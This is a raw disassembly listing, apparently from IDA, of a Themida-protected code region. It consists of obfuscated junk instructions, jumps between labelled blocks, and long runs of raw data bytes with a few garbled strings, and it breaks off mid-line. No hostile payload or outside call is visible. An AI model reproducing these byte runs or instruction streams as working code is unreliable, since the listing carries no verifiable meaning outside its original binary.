loc_554949: ; CODE XREF: Themida_:00563D03j add bl, dl pop edx sub bl, dl sub bl, 5Ah pop edx push ecx mov ch, 0BEh add bl, 4Bh add bl, 0B3h sub bl, ch sub bl, 0B3h sub bl, 4Bh mov ecx, [esp] add esp, 4 sub bl, al jmp loc_551B75 ; --------------------------------------------------------------------------- db 89h dd 4812424h, 424h, 0D2E95E00h db 0C8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554983: ; CODE XREF: Themida_:0055BBA5j add edx, 4 add edx, 4 xchg edx, [esp] pop esp and ecx, eax jmp loc_55FFF1 ; --------------------------------------------------------------------------- db 0FFh dd 5F042474h, 0E924048Fh, 94CFh, 85E9D189h, 0E9000079h dd 0FFFFB6E7h, 5F2434FFh, 504C483h, 415852h, 0FFD237E9h dd 9B82DFFh, 55B5FD4h, 0E229BC7Eh, 8158C301h, 0E85787C3h dd 81EB013Ch, 0E85787EBh, 0C536E93Ch, 2C8BFFFFh, 4C48124h dd 0E9000000h, 0FA7h, 6F776866h, 241C8966h, 7D85E9h db 0 ; --------------------------------------------------------------------------- loc_5549FD: ; CODE XREF: Themida_:0055D6E9j push edi mov edi, 388C1664h or edi, 4AAF507Ah and edi, 6D8C7D63h not edi shr edi, 1 neg edi sub edi, 0F4E7534Ah add eax, edi mov edi, [esp] add esp, 4 mov ebp, eax jmp loc_55EECF ; --------------------------------------------------------------------------- loc_554A2D: ; CODE XREF: Themida_:0055ECD7j sub edi, 4 xchg edi, [esp] pop esp push esp pop dword ptr [esp] add dword ptr [esp], 4 mov ebx, [esp] push edx push esp pop edx push eax jmp loc_55B022 ; --------------------------------------------------------------------------- dw 48Bh dd 4C48324h, 0BD555056h, 7C34354h, 0FFC46CE9h, 59EB88FFh dd 0D823E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_554A6A: ; CODE XREF: Themida_:0055ED86j mov edx, esp add edx, 4 jmp loc_552332 ; --------------------------------------------------------------------------- db 51h dd 6EF2E954h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554A7E: ; CODE XREF: Themida_:00560D3Dj add ebp, 4 xchg ebp, [esp] pop esp or esi, 2B3F56FFh push ebx jmp loc_55E1B2 ; --------------------------------------------------------------------------- db 81h, 4, 24h dd 4, 5324048Fh, 4BBh, 245C0100h, 34FF5B04h, 0FF4CE924h dd 0E2C10000h, 9AE28106h, 0E920E12Dh, 837Dh, 5208E6C1h dd 8A38B6BAh, 0E9D6010Fh, 0FFFFDC1Fh, 5C241C87h, 6CC7BF57h dd 0F9294C1Ah, 1AEEE9h, 0DE62D00h, 0C6890817h, 0B6D5E9h db 0 ; --------------------------------------------------------------------------- loc_554AE9: ; CODE XREF: Themida_:005553D5j add esp, 4 push dword ptr [esp] push dword ptr [esp] pop esi jmp loc_55C4DD ; --------------------------------------------------------------------------- db 1 dd 0E9042474h, 55FEh, 5C242C33h, 0B60FC330h, 8734FFC0h dd 8124048Bh, 4ECh, 240C8900h, 4EC81h, 0ECE90000h db 0BFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554B27: ; CODE XREF: Themida_:005505B5j mov edx, 4 add ebp, edx jmp loc_5539F0 ; --------------------------------------------------------------------------- db 29h dd 22EB81FBh, 810FE306h, 0AD4C9AEBh, 243C8B18h, 4C481h dd 0F3E90000h, 21000032h, 0B814E9E9h, 0E95B0000h, 65E3h dd 5393EB81h, 5AE9ACDEh, 500004Dh, 0FFFFFFFFh, 55BB3548h dd 0C30921F0h, 0E924048Bh, 7205h, 4F68F9B4h, 89000017h dd 0FA682414h, 89000024h, 5152240Ch, 0CE88E188h, 5AF18859h dd 8859CA88h, 24148BD7h, 0FF04C483h, 34FF2434h, 2434FF24h dd 3C5A6858h, 4890000h, 0E9585424h, 0F00Eh, 315FFE31h dd 0CA815EF2h, 4B6C5A99h, 6FAEBE56h, 0CE816161h, 10846EDFh dd 1464EE81h, 0F22925E7h, 9D74E9h, 40500h, 4EE90000h, 810000F6h dd 0FD5967E9h, 59CA8978h, 0DCE9D629h db 0F2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554BFB: ; CODE XREF: Themida_:0055115Ej push 32C3h mov [esp], ecx mov ecx, 51A965F0h shr ecx, 1 push edi mov edi, 749816A2h add edi, 0FFFFFFFFh jmp loc_55B88E ; --------------------------------------------------------------------------- db 81h dd 3002CC7h, 0C7ACE94Fh, 0CE010000h, 1C6FEE81h, 0E9526FA7h dd 0BC37h, 81241C8Bh, 4C4h, 0E29FE900h, 0FF5CFFFFh, 0C8B2434h dd 45C8E924h, 0FEB90000h, 31E08A72h, 0CF015EF1h, 593EE9h dd 4C28100h, 83000000h, 148704EAh, 0E9575C24h, 0FF30h dd 1E9D6F7h, 55000045h, 695068h, 48F5400h, 24048324h, 0BC73E904h dd 0A22D0000h, 357ED627h, 2FC452C3h, 0C49AE9h, 242C8900h dd 52BE9h, 0B3F1E900h db 2 dup(0FFh) word_554CA6 dw 34FFh ; DATA XREF: Themida_:0054FEB8o dd 0E148E924h, 0D031FFFFh, 0D031C231h, 243CE9h, 90E95A00h dd 68000074h, 61C3h, 56241489h, 594533BEh, 0B7F0E93Fh dd 0C87FFFFh, 24248B24h, 8904EC83h, 0E954241Ch, 0E1Eh dd 3023C3BAh, 34E2811Ch, 81369B22h, 34542FC2h, 5AD3291Bh dd 2F6868h, 24048900h, 0FA0EBCB8h, 45CFE926h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554D0A: ; CODE XREF: Themida_:0055CBAAj push dx jmp loc_557E06 ; --------------------------------------------------------------------------- db 89h, 2 dup(24h) dd 4240481h, 5A000000h, 91BA5253h, 563C6D0Bh, 746A68h dd 18ECE900h, 5F530000h, 243C315Bh, 31243C33h, 58E9243Ch dd 5BFFFFB3h, 8108EEC1h, 8D4214CEh, 48E68125h, 810C527Bh dd 42CAE6C6h, 5EF00100h, 10497E9h db 0 byte_554D5D db 66h, 0F7h, 1Ch ; DATA XREF: Themida_:0054FE80o dd 30E99C24h, 89FFFFB3h, 52E955E7h db 8Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_554D6F: ; CODE XREF: Themida_:0055ABC3j sub edx, 66EA5316h push 7248h mov [esp], esi mov esi, 4D1204E8h xor esi, 1ADC3DC1h neg esi neg esi and esi, 5338084Ah neg esi sub esi, 6952C0FCh sub edx, 32541772h jmp loc_55D896 ; --------------------------------------------------------------------------- db 0BAh, 82h, 5Ah dd 0D78937A7h, 90B8505Ah, 83766722h, 0BB53FFE8h, 0 dd 69A6EB81h, 0C32907BEh, 0FFCEC2E9h, 240487FFh, 13E9555Ch dd 29000000h, 86ED81F5h, 8122EC50h, 3472BCEDh, 8A6BE937h dd 0BA520000h, 2B6F1B2Eh, 1B2AF281h, 81522B6Fh, 6D422404h dd 2C8B18F5h, 4C48324h, 499EE9h, 0EE815900h, 4, 1E74E9h dd 0FBBA5200h, 0E9309A0Eh, 5896h ; --------------------------------------------------------------------------- loc_554E1C: ; CODE XREF: Themida_:0055BF0Aj shr eax, 12h xor eax, ecx jmp loc_56100A ; --------------------------------------------------------------------------- dw 2EB7h dd 60E9D7F6h db 0E9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554E2F: ; CODE XREF: Themida_:005625A0j or ebx, 51D60D43h jmp loc_560256 ; --------------------------------------------------------------------------- loc_554E3A: ; CODE XREF: Themida_:00565133j xchg ebx, [esp] jmp loc_553DFD ; --------------------------------------------------------------------------- dw 0C181h dd 213A46C5h, 0CDEEB81h, 0CB011E74h, 0CDEC381h, 0FCE91E74h dd 58FFFFD7h, 0F788FD88h, 0DFDE9h db 0 ; --------------------------------------------------------------------------- loc_554E65: ; CODE XREF: Themida_:00560162j add al, 46h sub al, dl sub al, 46h mov dx, [esp] add esp, 2 push small 10C6h mov [esp], bx mov bh, 0E1h add bh, 12h add al, 0Bh sub al, bh push ecx mov ch, 0Bh jmp loc_555CAE ; --------------------------------------------------------------------------- loc_554E8E: ; CODE XREF: Themida_:00555387j xchg eax, [esp] pop esp push esp pop dword ptr [esp] push edx push ecx mov ecx, 4 push ecx add dword ptr [esp], 2E1646D4h jmp loc_55AF44 ; --------------------------------------------------------------------------- dw 34FFh dd 0C4835824h, 1117E904h, 4BB0000h, 89000000h, 0E9815BD8h dd 68CA2EA2h, 0FFECC1E9h, 0C98149FFh, 4FB15E00h, 3732E181h dd 36E93687h, 8BFFFFB2h, 14892424h, 2414F724h, 0DC44E95Ah db 2 dup(0) word_554EEA dw 34FFh ; DATA XREF: Themida_:0054FF3Co dd 2434FF24h, 8910E9h, 59CE8100h, 811CEC57h, 4B1DA5F6h dd 0DF07E9DAh, 0E7C1FFFFh, 0E9DFF702h, 7E2Dh, 81B8505Bh dd 0E979912Fh, 0FFFFD1FDh, 5086BF57h, 0FD0122ECh, 0FEA9E95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554F2A: ; CODE XREF: Themida_:0055A74Aj push esp pop dword ptr [esp] jmp loc_5616F0 ; --------------------------------------------------------------------------- loc_554F33: ; CODE XREF: Themida_:005533D3j sub esp, 4 mov [esp], ebp sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebp add ebp, 4 push esi mov esi, 4 jmp loc_564544 ; --------------------------------------------------------------------------- dd 8304F281h, 0D5017F66h, 0E924148Bh, 0FFFFEC77h, 5266B42Ch dd 0E9C3B551h, 0E302h, 575FFB31h, 0F7E3E955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554F7E: ; CODE XREF: Themida_:005590E8j pop edi mov edi, ebp jmp loc_561625 ; --------------------------------------------------------------------------- dw 0C721h dd 9EF78158h, 682D0052h, 3C5Eh, 0B9240C89h, 7C00D2Dh, 159CA29h dd 2DBE56FAh, 8107C00Dh, 9D694DEAh, 81F2013Ah, 9D694DC2h dd 24348B3Ah, 4C481h, 3C8B0000h, 4C48324h, 2474FF52h, 46E95A04h dd 0F70000BDh, 81EAD1DAh, 0ED5F48F2h, 5AD30147h, 0F404E9h dd 64216800h, 0C890000h, 3FE95424h db 0EEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554FEF: ; CODE XREF: Themida_:00561D8Bj add ebp, 484F52D5h mov edi, ebp pop ebp xor edi, 389B7E56h add edi, 0BC683A90h jmp loc_554433 ; --------------------------------------------------------------------------- db 1, 0C1h, 8Bh dd 0C4832404h, 240C8704h, 431665Ch, 62E99C24h, 280000A2h dd 98C380C3h, 6602EC83h, 83240C89h, 148904ECh, 0E916B624h dd 0F89Ch, 40C9F281h, 0D14A253Bh, 9AF281E2h, 1006651h dd 0BF575AD3h, 4, 0FFBDBEE9h, 7BF581FFh, 0E9CBEB17h, 3A2Bh dd 240C8B59h, 5E08950h, 4, 405h, 24043300h, 37F8E9h db 0 ; --------------------------------------------------------------------------- loc_555079: ; CODE XREF: Themida_:0055A8B6j shr esi, 7 not esi jmp loc_55388C ; --------------------------------------------------------------------------- loc_555083: ; CODE XREF: Themida_:00563954j push eax jmp loc_550BDD ; --------------------------------------------------------------------------- db 66h, 1, 0F8h dd 0F801665Fh, 2970E9h, 4C685D00h, 89000071h, 9FE9243Ch dd 81000007h, 52844F6h, 5EF30103h, 0D78DE957h, 2489FFFFh dd 24048124h, 4, 4BB535Ah, 1000000h, 0C2815BDAh, 4, 0DD08E9h db 0 ; --------------------------------------------------------------------------- loc_5550D1: ; CODE XREF: Themida_:005608A5j mov esp, [esp] xor eax, esi jmp loc_550753 ; --------------------------------------------------------------------------- db 0BFh dd 4, 875FF801h, 9E92404h, 0BB0000B2h, 5F964869h, 8462E9h dd 241C8B00h, 4604C483h, 2115C681h, 0F2317C25h, 8324348Bh dd 0D00904C4h, 8324148Bh, 82E904C4h db 0F6h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555117: ; CODE XREF: Themida_:00550824j push dword ptr [esp] push dword ptr [esp] mov edx, [esp] add esp, 4 add esp, 4 jmp loc_564D08 ; --------------------------------------------------------------------------- db 80h, 0F3h, 2 dd 97E95066h, 0F7000017h, 7EEC1DEh, 9DF4E9h, 5BD80100h dd 81242C8Bh, 4C4h, 45580500h, 0F80111C5h, 4FD7BB53h, 0DE932BAh dd 81FFFFC0h, 0F695FEAh, 0A0A0E920h, 0FF5E0000h, 81582434h dd 4C4h, 2434FF00h, 4C4815Bh, 0FF000000h, 535F2434h, 0C96FE9h dd 0E9555200h, 7C59h, 0FFAEFEE9h, 57E956FFh, 8B0000D7h dd 0C4832404h, 0BBEFE904h, 0E8010000h, 68242C8Bh, 7B3h dd 89243489h, 0DD4FE9E6h, 0BEFFFFh, 50000004h, 0E953E089h dd 0FFFFD924h, 54536850h, 2D58326Fh, 0FFFFFFFFh, 18D8E9h db 0 ; --------------------------------------------------------------------------- loc_5551DD: ; CODE XREF: Themida_:005525C4j push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp mul cx jmp loc_5566DA ; --------------------------------------------------------------------------- dd 5C241C87h, 0BA241489h, 49173AEBh, 8CE3E9h, 773DBF00h dd 0FB2920DBh, 0B8F3815Fh, 0E93FD500h, 0FFFFCE37h, 0BE55F781h dd 0F9014504h, 81243C8Bh, 4C4h, 0C65EE900h, 0D368FFFFh dd 8900006Ch, 60BE2434h, 817F3179h, 0DA70FFEEh, 421E939h dd 34890001h, 2BE24h, 0EF810000h, 65280158h, 0A7E9F701h dd 5900007Ch, 515AD700h, 0EF309EB5h, 0EA7FE959h, 0F75F0000h dd 99E181D1h, 817D5041h, 2B3D03E9h, 59CE0174h, 1F36EE81h dd 0EE8153DCh, 9FB251Bh, 95AEE9h db 0 byte_555291 db 64h, 0FFh, 32h ; DATA XREF: Themida_:0054FF74o dd 0FFBA49E9h, 5DBE56FFh, 897E0E1Dh, 0E0C15EF0h, 514A6807h dd 3C890000h, 0BF24h, 0C7290000h, 0CB4AE9h, 0E9D32900h dd 19E9h, 0CC2EF281h, 0D101B158h, 8F95E9h, 24248900h, 482368h dd 240C8900h, 0FFDD8EE9h, 241C87FFh, 8F24248Bh, 248B2404h dd 242CD224h, 0ADA5E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5552F2: ; CODE XREF: Themida_:0055DF17j pop ebp xor eax, edi mov edi, [esp] push ebx mov ebx, esp push esi mov esi, 4 add ebx, esi jmp loc_554935 ; --------------------------------------------------------------------------- dd 31240C33h, 0C33240Ch, 0BA525C24h, 27A54269h, 4FF524Ah dd 8DE2E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555322: ; CODE XREF: Themida_:00557C97j xor esi, eax jmp loc_553345 ; --------------------------------------------------------------------------- db 0BBh, 4, 0 dd 0DD010000h, 83241C8Bh, 0C58104C4h, 4, 5C242C87h, 685FF829h dd 65B1h, 18BDE9h db 0 ; --------------------------------------------------------------------------- loc_55534D: ; CODE XREF: Themida_:0055AC64j dec edi sub edi, 56E65B1Eh jmp loc_562DC7 ; --------------------------------------------------------------------------- db 81h, 0EFh, 46h dd 107D85Eh, 0BD96E9FAh, 0EA810000h, 4, 5C241487h, 0B8240489h dd 3A381A02h, 1DE95655h db 0B9h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55537F: ; CODE XREF: Themida_:00562A9Ej add eax, 4 sub eax, 4 jmp loc_554E8E ; --------------------------------------------------------------------------- dd 24048153h, 123E4BECh, 0ECEF815Fh, 5B123E4Bh, 87FFEF83h dd 0DF874BDFh, 53BBB951h, 0D9F77E3Ch, 0D1F7D9F7h, 11BAC981h dd 0C18149A1h, 9E3EA8F4h, 0AB64E9h db 0 ; --------------------------------------------------------------------------- loc_5553C1: ; CODE XREF: Themida_:0055B697j pop ebx mov esi, ebp mov ebp, [esp] add esp, 4 push 6A94h mov [esp], esi mov edx, [esp] jmp loc_554AE9 ; --------------------------------------------------------------------------- dw 5BBDh dd 0E931CE0Fh, 0BE3Fh, 0FF243489h, 0E9042474h, 31E7h, 0C381FB01h dd 339332BEh, 0F405E9h, 4E98300h, 5C240C87h, 55242489h dd 4BDh, 246C0100h, 81595D04h, 4C1h, 4EC8300h, 68243C89h dd 0B51h, 0CDF3E9h, 2BE5600h, 51000000h, 0E02D04B9h, 0E9C82901h dd 0C4FDh, 5FF9215Bh, 6806E9C1h, 1062h, 0FF241C89h, 0E9582434h dd 7215h, 42491ABDh, 5DE98974h, 8159CE89h, 942587EEh, 8BF7892Ah dd 0C4832434h, 0E5D5E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555472: ; CODE XREF: Themida_:0055985Dj add edi, edx pop edx or ebx, edi pop edi jmp loc_553F2E ; --------------------------------------------------------------------------- db 0F7h, 0D5h, 4Dh dd 2FE7E581h, 0AAE93A01h, 5A0000ECh, 6859CA09h, 4B22h dd 0BB241C89h, 33F95816h, 34FFDA29h, 0C4835B24h, 3E95304h db 8Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5554AB: ; CODE XREF: Themida_:0055F49Aj sub edx, edi pop edi push 6589h mov [esp], edx jmp loc_55AE4D ; --------------------------------------------------------------------------- db 5Ch dd 89240489h, 8ABE56E0h, 876AC60Fh, 0C2E6E9DEh, 8B5BFFFFh dd 0C483243Ch, 4EE8304h, 0C26CE9h, 24043300h, 0E9240431h dd 0FFFFC984h ; --------------------------------------------------------------------------- loc_5554E8: ; CODE XREF: Themida_:0055C85Aj add ebx, 4 push edi push edx mov edx, 682520C2h mov edi, edx pop edx jmp loc_550E30 ; --------------------------------------------------------------------------- db 0FEh, 0C2h, 0C0h dd 0CA8005E2h, 80DAF60Bh, 0F0E9DDF2h, 0FF00006Fh, 0FBE92434h dd 810000D0h, 4C4h, 0BFC68100h, 899720D5h, 5436E9F7h, 0B9510000h dd 22FAC86Bh, 2D59CD31h, 7F0142F9h, 112DB951h, 0D1F77462h dd 7EEEC981h, 0BB53130Eh, 233835AEh, 0E456E9h db 0 ; --------------------------------------------------------------------------- loc_555551: ; CODE XREF: Themida_:00557EABj pop ebp add eax, 1 push 780Ah jmp loc_553275 ; --------------------------------------------------------------------------- loc_555561: ; CODE XREF: Themida_:00559143j mov eax, ebx pop ebx jmp loc_56233F ; --------------------------------------------------------------------------- loc_555569: ; CODE XREF: Themida_:00561ED8j push edi mov edi, 62136E2Eh jmp loc_558F55 ; --------------------------------------------------------------------------- loc_555574: ; CODE XREF: Themida_:005566E5j pop esi pop edx jmp loc_55302F ; --------------------------------------------------------------------------- loc_55557B: ; CODE XREF: Themida_:005618FEj add edx, eax pop eax neg edx shl edx, 5 xor edx, 6C826B3Ah sub eax, edx pop edx sub eax, 19882931h mov ecx, [esp] add esp, 4 push eax push esp push dword ptr [esp] mov eax, [esp] add esp, 4 push ebx push esp pop ebx add ebx, 4 add ebx, 4 jmp loc_5523F7 ; --------------------------------------------------------------------------- db 33h, 2Ch, 24h dd 33242C31h, 74E9242Ch db 0F0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5555C7: ; CODE XREF: Themida_:005572BAj sub dword ptr [esp+8], 25027D2Fh add [esp+8], ebx add dword ptr [esp+8], 25027D2Fh mov ebx, [esp] add esp, 4 mov ebx, [esp] add esp, 4 pop edx push 4F74h mov [esp], esi push 2230406Eh pop esi not esi sub esi, 1 shr esi, 5 sub esp, 4 jmp loc_55756F ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 0ED4517BAh, 7387E95Dh db 2 dup(0) word_555616 dw 34FFh ; DATA XREF: Themida_:0054FE90o dd 240C8B24h, 8104C483h, 4ECh, 240C8900h, 0EC815954h, 4 dd 53240489h, 0FFF87DE9h, 79C781FFh, 0E9753F5Bh, 0E25h dd 9C240401h, 0FFAA4AE9h db 0FFh ; --------------------------------------------------------------------------- loc_55564D: ; CODE XREF: Themida_:005565E7j push 57B2h mov [esp], ecx mov ecx, 1D685336h mov eax, 0E297ACCEh jmp loc_55F8AD ; --------------------------------------------------------------------------- dd 405h, 4EC8300h, 0BD242C89h, 4, 2C05E02Dh, 5E80133h dd 332C05E0h db 8Bh, 2Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_556A1B ; --------------------------------------------------------------------------- loc_55569A: ; CODE XREF: Themida_:00559BACj pop esi xchg ebp, [esp] mov esp, [esp] push eax jmp loc_559BC4 ; --------------------------------------------------------------------------- aRRpc7ssN db 'RºàPç7Sé~N',0 dw 0FF00h dd 575A2434h, 0E046E954h, 0EC83FFFFh, 9FB1E904h db 2 dup(0) word_5556C6 dw 77FFh ; DATA XREF: Themida_:0054FFDCo dd 0A9C9E92Ch, 835FFFFFh, 343304C6h, 6A6DE924h, 0ED810000h dd 57D677A5h, 0E9243C8Bh, 0E95Fh, 4EC81h, 4890000h, 2BF5724h dd 68000000h, 7BE4h, 81243C89h, 298E242Ch, 5586243h, 6243298Eh dd 0FFE3CBE9h db 0FFh ; --------------------------------------------------------------------------- loc_555711: ; CODE XREF: Themida_:00563180j add ebp, edi add ebp, 73F93ED7h add ebp, 75E96C45h add ebp, 24B871F2h pop edi xor eax, ebp mov ebp, [esp] add esp, 4 push 158h mov [esp], esi mov esi, 7BD459E5h neg esi add esi, 0FFFFFFFFh jmp loc_551B36 ; --------------------------------------------------------------------------- loc_555748: ; CODE XREF: Themida_:005603AEj push edx mov edx, 3A80714Dh shl edx, 8 jmp loc_563DBA ; --------------------------------------------------------------------------- dw 6866h dd 89666C63h, 0CBE9240Ch db 20h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555763: ; CODE XREF: Themida_:0055FF47j xor eax, ecx xor ecx, eax xor eax, ecx jmp loc_553AFD ; --------------------------------------------------------------------------- dw 0EB8h a_pgsM db '_¯géºm',0 align 4 loc_555778: ; CODE XREF: Themida_:00559504j add ebp, 2DC954E6h jmp loc_552D5C ; --------------------------------------------------------------------------- loc_555783: ; CODE XREF: Themida_:0055711Dj jmp loc_550097 ; --------------------------------------------------------------------------- dd 5C242C87h, 4C481h, 0BF570000h, 177D7227h, 0EFC1DFF7h dd 0D1DFF703h, 53CF81E7h, 55691F1Ch, 8957C6BDh, 0D225E976h dd 0EB810000h, 7291063Ah, 1A92BD55h, 0E8E9D0DFh, 81FFFFC2h dd 857C2BCAh, 13CA816Ch, 0E96A1A7Eh, 0F773h, 8801C180h dd 0E2C059CAh, 263E6808h, 1C890000h, 0B67BE924h, 2468FFFFh dd 89000020h, 0BB53242Ch, 56A978BAh, 1755EB81h, 0E3C11FD0h dd 7E3C105h, 0FBE9EBD1h, 51FFFFD1h, 8904EC83h, 96B3241Ch dd 885BD988h, 0B65259CFh, 5B246862h, 4890000h, 3457B024h dd 30AE2C84h, 8CE958C6h db 0C8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555833: ; CODE XREF: Themida_:00559D40j push 55B8h mov [esp], edx push eax pushf jmp loc_550097 ; --------------------------------------------------------------------------- dw 0BD55h dd 615237Dh, 515DEF89h, 7A0F35B9h, 0D9F7416Fh, 45E9D9F7h dd 800000C5h, 0F488DFC6h, 0E253E95Ah, 0B8500000h, 1BBA1CBBh dd 0E10BD55h, 0E83136DBh, 58C6295Dh, 5551EE01h, 5977F3BDh dd 0B5CD8171h, 457E3528h, 44EFF581h, 0F5817919h, 21EF0331h dd 0E904EC83h, 5EEBh, 76BF575Ah, 10E576Bh, 0F106E9F8h dd 9FBFFFFFh, 0E95CFFA5h, 0FFFFADFAh, 475C381h, 0DF214A72h dd 0FFABBCE9h, 2DFD68FFh, 7CE90000h db 1Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_5558CB: ; CODE XREF: Themida_:005522A9j add edx, 4 sub edx, 4 jmp loc_551788 ; --------------------------------------------------------------------------- aRsq7 db 'RéŸ7',0 align 2 dw 0C5BAh dd 89196972h, 0CA6E9D1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5558EE: ; CODE XREF: Themida_:0055CAC8j mov ecx, 556D4FF4h sub ebx, ecx pop ecx sub ebx, 1 push 780Eh mov [esp], eax mov eax, 0B51CB509h xor ebx, eax pop eax add edx, ebx pop ebx jmp loc_552C00 ; --------------------------------------------------------------------------- loc_555914: ; CODE XREF: Themida_:0056305Bj xchg ebp, edx not ebp xchg ebp, edx and edx, 5DDE1380h add edx, 154C43A2h shl edx, 4 push 2CA1h mov [esp], eax mov eax, 26156724h add eax, 282350EAh push edx mov edx, 22616997h and eax, edx pop edx dec eax inc eax shr eax, 1 add eax, 0A5CFDD0h xor edx, eax pop eax push 0C33h mov [esp], edi jmp loc_553760 ; --------------------------------------------------------------------------- db 66h, 5Eh, 66h dd 0C281665Ah, 0E9595A7Fh, 6A8Ch, 80D1EC80h, 0C4FEDCE4h dd 80FDC480h, 686610ECh, 24280000h, 24248A24h, 8002C483h dd 0EC83B8C4h, 241C8904h, 0FEE912B3h, 5000002Ch, 0BD55E089h dd 556F13D0h, 13CCED81h, 0E801556Fh, 4C0835Dh, 2474FF50h dd 48F5804h, 4015C24h, 33FD6824h, 3C890000h, 6456824h dd 4890000h, 42446824h, 34FF6577h, 0D4E95824h, 5A0000CEh dd 5004C483h, 0FFF8B8E9h, 1CB252FFh, 4EC81h, 98E90000h dd 81000015h, 4C6h, 2BA5200h, 57000000h, 0B16980BFh, 3CB95154h dd 810BB274h, 6D412EEEh, 0EAB0E975h, 3C8BFFFFh, 4C48324h dd 9E2BE9h db 0 ; --------------------------------------------------------------------------- loc_555A1D: ; CODE XREF: Themida_:0055081Bj push 5A0B5904h pop eax dec eax shr eax, 8 push ecx mov ecx, 41ED42E8h jmp loc_550993 ; --------------------------------------------------------------------------- aLSov db '‹<$é®v',0 align 2 dw 0C166h dd 555203EDh, 10A7BD66h, 8D63E9h db 0 ; --------------------------------------------------------------------------- loc_555A49: ; CODE XREF: Themida_:0055A7D8j add ecx, 4DD03216h not ecx neg ecx jmp loc_565480 ; --------------------------------------------------------------------------- dd 5C24048Fh, 81243C89h, 4ECh, 24348900h, 0DF2A4568h, 24348B68h dd 0FFFAA2E9h, 5BF988FFh, 0AD18E9h, 56D2F700h, 394E39BEh dd 4FF7E96Ch, 0EB280000h, 8066C380h, 0C8B50C3h, 4C48324h dd 0FFF582E9h, 0DB951FFh, 0C10A5176h, 0F18106E1h, 945D8344h dd 24348151h, 28365B32h, 5B323558h, 81592836h, 8C09FBEFh dd 81C70172h, 8C09FBC7h, 24048B72h, 0F03BE9h, 1B8E6800h dd 4AE90000h, 5E0000C9h, 4C681h, 0CEE90000h db 1Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_555AE7: ; CODE XREF: Themida_:0055C7BDj xor ecx, edi pop edi push 6A8Bh jmp loc_563143 ; --------------------------------------------------------------------------- loc_555AF4: ; CODE XREF: Themida_:00557E0Aj pop dx pop eax jmp loc_55E7E6 ; --------------------------------------------------------------------------- dd 0E8C3E957h, 1C8BFFFFh, 4C48324h, 54B95157h, 0E9457550h dd 0FFFFED74h ; --------------------------------------------------------------------------- loc_555B14: ; CODE XREF: Themida_:0055DC88j add esi, 4 jmp loc_5624B6 ; --------------------------------------------------------------------------- db 50h dd 524A6DB8h, 0CB9BE931h, 0C681FFFFh, 194870F7h, 412EC681h dd 0C8B756Dh, 0E3895324h, 4C381h, 0C3830000h, 241C8704h dd 81FE295Ch, 0B2743CEEh, 0D6015F0Bh, 0FFD65EE9h, 4C483FFh dd 4BB53h, 0DE010000h, 4EE835Bh, 8BAE9h, 0A0E95E00h db 0B2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555B73: ; CODE XREF: Themida_:0056552Ej mov esp, [esp] push 579Bh mov [esp], ebx mov ebx, 71843DDFh dec ebx shl ebx, 5 inc ebx jmp loc_558253 ; --------------------------------------------------------------------------- aZst db 'ZéT$',0 dw 0BA00h aOE1Js db 'o&¿e1Ú[Jé¸Ý',0 dd 0E95E6600h, 0E005h, 31240433h, 4332404h, 24248B24h dd 0E9242489h, 9281h, 2474FF56h, 48F5E04h, 0C4815C24h dd 4, 8B24048Fh, 3CD32424h, 0FEE99C24h, 8000000Bh, 0EB804EC3h dd 62686631h, 4896622h, 4EC8124h, 89000000h, 9EB5240Ch dd 0E959EC88h, 0FFFFC483h, 0D915E952h, 3C87FFFFh, 333E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555C0A: ; CODE XREF: Themida_:00553E21j pop esp mov [esp], esi mov esi, 4 sub ebx, 79C7789Eh add ebx, esi jmp loc_55F9E4 ; --------------------------------------------------------------------------- dd 9205FCB9h, 0E9CE31F0h, 0C078h, 94EA1105h, 58C601D9h dd 4B850h, 0C6290000h, 1DDEE9h db 0 ; --------------------------------------------------------------------------- loc_555C41: ; CODE XREF: Themida_:0055679Aj sub eax, ebp jmp loc_551AE4 ; --------------------------------------------------------------------------- dd 65E9F801h, 89FFFFA5h, 0CEE9240Ch, 570000F3h, 4BFh, 3EA1E900h dd 8B660000h, 0C4812414h, 2, 8344F780h, 0C8904ECh, 88F98824h dd 305B59CEh, 0AE2C59EEh, 0E052E9h, 0EB45000h, 0D4E9D4F6h db 76h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555C8F: ; CODE XREF: Themida_:00551381j pop ebx jmp loc_556D17 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 4C48358h, 0B850D5F7h, 508913E8h, 48BC531h, 8B10E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555CAE: ; CODE XREF: Themida_:00554E89j sub al, ch pop ecx mov bx, [esp] push ebp jmp loc_55DA07 ; --------------------------------------------------------------------------- loc_555CBB: ; CODE XREF: Themida_:00554417j add ecx, 4 push edi mov edi, 4 jmp loc_55A29E ; --------------------------------------------------------------------------- dd 83243489h, 1C8904ECh, 9DBD5524h, 0BB03AD5Ah, 715F5F11h dd 